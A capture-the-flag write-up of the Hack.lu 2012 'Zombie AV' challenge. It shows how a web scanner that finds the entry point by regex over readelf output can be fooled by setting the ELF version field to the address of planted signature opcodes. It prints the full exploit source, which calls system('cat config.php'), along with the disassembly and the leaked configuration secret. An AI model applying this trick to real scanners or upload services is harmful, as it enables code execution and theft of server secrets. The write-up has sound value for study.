Hack.lu CTF 2012: Zombie AV

Posted on 25 Oct 2012

This problem presents a web-based AV scanner. If you upload the zombie virus, the server runs it; otherwise it tells you that the file you provided does not contain the zombie virus. Our goal is to get the contents of config.php.

When you submit a non-infected binary, you get output like:

analysing file 79826432fa989a93fd7acfaca92f5880
8048330:  31 ed                 xor    %ebp,%ebp
 8048332: 5e                    pop    %esi
 8048333: 89 e1                 mov    %esp,%ecx
 8048335: 83 e4 f0              and    $0xfffffff0,%esp
 8048338: 50                    push   %eax
 8048339: 54                    push   %esp
 804833a: 52                    push   %edx
 804833b: 68 10 84 04 08        push   $0x8048410
 8048340: 68 20 84 04 08        push   $0x8048420
 8048345: 51                    push   %ecx
 8048346: 56                    push   %esi
 8048347: 68 e4 83 04 08        push   $0x80483e4
 804834c: e8 cb ff ff ff        call   804831c <__libc_start_main@plt>
 8048351: f4                    hlt
 8048352: 90                    nop
 8048353: 90                    nop
 8048354: 90                    nop
 8048355: 90
Entry Opcodes are: 31 ed 5e 89 e1 83 e4 f0 50 54 52 68
Signature is: d87ae7dd8b166d8e2c02676d69561c96
no zombie virus found

In scan.php, the signature of the zombie virus is given. A file contains the zombie virus if the first 12 opcodes following its entry point are:

/*
 * hint: zombie virus signature is
 * 8048340: b0 01                 mov    $0x1,%al
 * 8048342: 90                    nop
 * 8048343: 90                    nop
 * 8048344: 90                    nop
 * 8048345: 90                    nop
 * 8048346: 90                    nop
 * 8048347: 90                    nop
 * 8048348: 90                    nop
 * 8048349: 90                    nop
 * 804834a: cd 80                 int    $0x80
 */

This code looks like it immediately calls syscall 1 (exit), so we need to find another way than just including these at the beginning of our code. (Actually, it turns out that this is not the case – the first op sets al rather than eal, so the effective syscall number retains the high bits of eal, but we didn’t notice or test this.)

Analyzing the code, it seems the entry point address is determined by running the binary through readelf -h and looking for the first string that matches /0x[a-fA-F0-9]{5,8}/. Typically, that output looks like:

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048330
  Start of program headers:          52 (bytes into file)
  Start of section headers:          4392 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         8
  Size of section headers:           40 (bytes)
  Number of section headers:         30
  Section header string table index: 27

In this case, the first match is indeed the entry point, but there’s another field printed in hex earlier – the binary version. It turns out that we control this field, and the ELF parser doesn’t care about its value. Let’s include the zombie opcodes in our binary, then set the version number to the address of those opcodes. Here’s our zombo_virus.c:

int main() {
  system("cat config.php");
  __asm__("mov    $0x1,%al");
  __asm__("nop");
  __asm__("nop");
  __asm__("nop");
  __asm__("nop");
  __asm__("nop");
  __asm__("nop");
  __asm__("nop");
  __asm__("nop");
  __asm__("int    $0x80");
}

Compiling this and running it through objdump -d reveals the address of the zombie signature:

...
080483e4 <main>:
 80483e4: 55                    push   %ebp
 80483e5: 89 e5                 mov    %esp,%ebp
 80483e7: 83 e4 f0              and    $0xfffffff0,%esp
 80483ea: 83 ec 10              sub    $0x10,%esp
 80483ed: c7 04 24 d0 84 04 08  movl   $0x80484d0,(%esp)
 80483f4: e8 13 ff ff ff        call   804830c <system@plt>
 80483f9: b0 01                 mov    $0x1,%al
 80483fb: 90                    nop
 80483fc: 90                    nop
 80483fd: 90                    nop
 80483fe: 90                    nop
 80483ff: 90                    nop
 8048400: 90                    nop
 8048401: 90                    nop
 8048402: 90                    nop
 8048403: cd 80                 int    $0x80
...

So, it lives at 0x80483f9. Using your favorite ELF editor (we used hte), edit the resulting binary to have that as a version:

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x80483f9
  Entry point address:               0x8048330
  Start of program headers:          52 (bytes into file)
  Start of section headers:          4392 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         8
  Size of section headers:           40 (bytes)
  Number of section headers:         30
  Section header string table index: 27

Now submit it!

analysing file c39d143ac2432849d61fd144a0d13abc
80483f9:  b0 01                 mov    $0x1,%al
 80483fb: 90                    nop
 80483fc: 90                    nop
 80483fd: 90                    nop
 80483fe: 90                    nop
 80483ff: 90                    nop
 8048400: 90                    nop
 8048401: 90                    nop
 8048402: 90                    nop
 8048403: cd 80                 int    $0x80
 8048405: c9                    leave
 8048406: c3                    ret
 8048407: 90                    nop
 8048408: 90                    nop
 8048409: 90                    nop
 804840a: 90                    nop
 804840b: 90                    nop
 804840c: 90                    nop
 804840d: 90                    nop
 804840e: 90                    nop
 804840f: 90                    nop

08048410 <__lib
Entry Opcodes are: b0 01 90 90 90 90 90 90 90 90 cd 80
Signature is: cd53b957ec552afb39cba6daed7a9abc
found zombie virus, trying to execute it
<?php

$readelfpath='/usr/bin/readelf';
$objdumppath='/usr/bin/objdump';
$uploadpath='upload/';
$scriptpath='/var/www/';
$secret='55c4080daefb5f794c3527101882b50b';

?>
done we are safe

There’s the flag: 55c4080daefb5f794c3527101882b50b.